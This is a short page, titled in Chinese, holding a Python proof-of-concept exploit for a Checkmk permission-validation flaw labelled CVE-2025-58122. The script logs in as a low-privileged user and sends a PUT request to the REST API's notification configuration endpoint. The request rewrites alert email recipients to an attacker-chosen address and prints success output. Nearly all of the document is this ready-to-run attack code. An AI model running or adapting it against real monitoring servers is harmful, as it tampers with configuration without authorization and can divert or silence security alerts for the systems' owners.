CVE-2025-58122 Checkmk权限验证不足漏洞

# Checkmk CVE-2025-58122 PoC - Insufficient Permission Validation # This PoC demonstrates how low-privileged users can modify notification parameters import requests import json TARGET_URL = "https://target-checkmk.local" USERNAME = "low_privilege_user" PASSWORD = "user_password" # Login to get session cookie def login(): login_url = f"{TARGET_URL}/api/1.0/login" data = { "username": USERNAME, "password": PASSWORD } headers = { "Accept": "application/json", "Content-Type": "application/json" } response = requests.post(login_url, json=data, headers=headers, verify=False) return response.cookies # Modify notification parameters (exploiting insufficient permission validation) def modify_notification(cookies): # API endpoint for notification configuration notify_url = f"{TARGET_URL}/api/1.0/domain-types/notification_configuration/collections/all" headers = { "Accept": "application/json", "Content-Type": "application/json" } # Malicious payload to modify notification parameters payload = { "notification_method": { "plugin": "email", "parameters": { "recipient_email": "[email protected]", "from_address": "[email protected]" } } } # This request should fail for low-privileged users, but succeeds due to the vulnerability response = requests.put(notify_url, json=payload, headers=headers, cookies=cookies, verify=False) if response.status_code == 200: print("[+] SUCCESS: Notification parameters modified by low-privilege user!") print(f"[+] Response: {response.text}") else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") if __name__ == "__main__": print("[*] Checkmk CVE-2025-58122 PoC") print("[*] Exploiting insufficient permission validation in REST API") cookies = login() modify_notification(cookies)